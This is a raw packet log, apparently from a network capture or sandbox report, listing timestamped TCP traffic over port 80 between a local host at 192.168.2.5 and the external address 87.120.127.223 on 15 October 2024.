Oct 15, 2024 19:22:31.116265059 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.116277933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116384029 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.188553095 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188613892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188648939 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188673973 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.188683987 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188719988 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188750982 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188761950 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.188786983 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.188800097 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189182997 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189217091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189249039 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189275026 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189282894 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189296961 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189317942 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189348936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189371109 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189382076 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189415932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189449072 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189466000 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189482927 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189502954 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189567089 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189623117 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189635992 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189668894 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189702034 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189724922 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189734936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189768076 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189780951 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189801931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189852953 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189887047 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189892054 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189918041 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.189938068 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.189954042 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190004110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190007925 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190037966 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190071106 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190095901 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190124989 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190157890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190185070 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190196991 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190231085 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190273046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190288067 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190304995 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190332890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190337896 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190388918 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190407038 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190423965 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190458059 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190473080 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190491915 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190526009 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190546989 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.190704107 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190733910 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.190762997 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231327057 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231426001 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231491089 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231523991 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231556892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231591940 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231609106 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231662035 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231667042 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231697083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231729984 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231781960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231791019 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231815100 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231848001 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231863022 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231882095 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231914043 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231936932 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.231966019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.231975079 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.232000113 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.232045889 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.232050896 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.232083082 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.232116938 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.232150078 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.232152939 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.232197046 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305537939 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305573940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305625916 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305636883 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305659056 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305694103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305712938 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305727005 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305777073 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305809021 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305825949 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305855036 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305862904 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305896997 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305929899 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.305962086 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.305980921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306032896 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306035995 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306071043 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306103945 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306154966 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306163073 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306191921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306225061 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306226015 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306268930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306287050 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306303978 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306338072 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306386948 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306395054 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306421041 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306453943 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306473017 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306494951 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306504965 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306538105 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306574106 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306595087 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306606054 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306638956 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306652069 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306673050 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306705952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306737900 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306737900 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306773901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306788921 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.306809902 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306843996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.306915045 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.307024002 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307063103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307080984 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.307099104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307133913 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307147980 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.307168007 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307219028 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307228088 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.307251930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307285070 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.307332993 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348457098 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348521948 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348527908 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348556995 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348607063 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348608971 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348644972 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348678112 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348696947 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348712921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348747969 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348764896 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348851919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348906040 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348941088 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348963022 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.348982096 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.348984003 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349016905 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349051952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349073887 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349086046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349116087 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349147081 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349152088 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349235058 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349268913 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349276066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349302053 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349318027 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349338055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349390030 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349586010 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349616051 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349666119 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349689960 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.349694967 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.349746943 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423341036 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423404932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423470974 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423489094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423521042 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423554897 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423574924 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423609018 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423645020 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423657894 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423716068 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423768997 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423803091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423824072 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423836946 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423857927 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423887968 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423923969 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.423938036 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.423957109 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424005985 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424010992 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424045086 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424077988 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424112082 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424130917 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424176931 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424242020 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424276114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424345016 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424398899 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424449921 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424484015 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424532890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424537897 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424567938 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424602032 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424623966 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424634933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424654007 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424669981 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424724102 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424767017 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424818993 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424850941 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424885035 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424901009 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424937963 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.424938917 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.424977064 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425012112 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425040960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425067902 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425086021 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425091028 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425126076 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425160885 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425177097 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425196886 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425303936 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425334930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425367117 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425403118 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425416946 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425441980 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425476074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425510883 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425513029 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425546885 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425559044 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.425580978 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425615072 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.425635099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464133978 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464204073 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464240074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464272976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464287043 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464327097 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464338064 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464360952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464395046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464421034 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464442968 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464446068 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464481115 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464509964 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464559078 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464559078 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464597940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464615107 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464647055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464682102 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464695930 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464713097 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464762926 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464796066 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464817047 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464833975 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464838982 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464870930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464903116 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464920044 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.464936972 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.464967966 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.465001106 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.465013027 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.465033054 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.465066910 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.465079069 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.465101957 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.465110064 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.510091066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.510601044 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.510638952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.514895916 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.538922071 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539010048 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539041996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539097071 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539127111 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539160967 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539196968 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539225101 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539274931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539279938 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539311886 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539350033 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539405107 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539419889 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.539498091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.539530993 CEST	80	49767	87.120.127.223	192.168.2.5
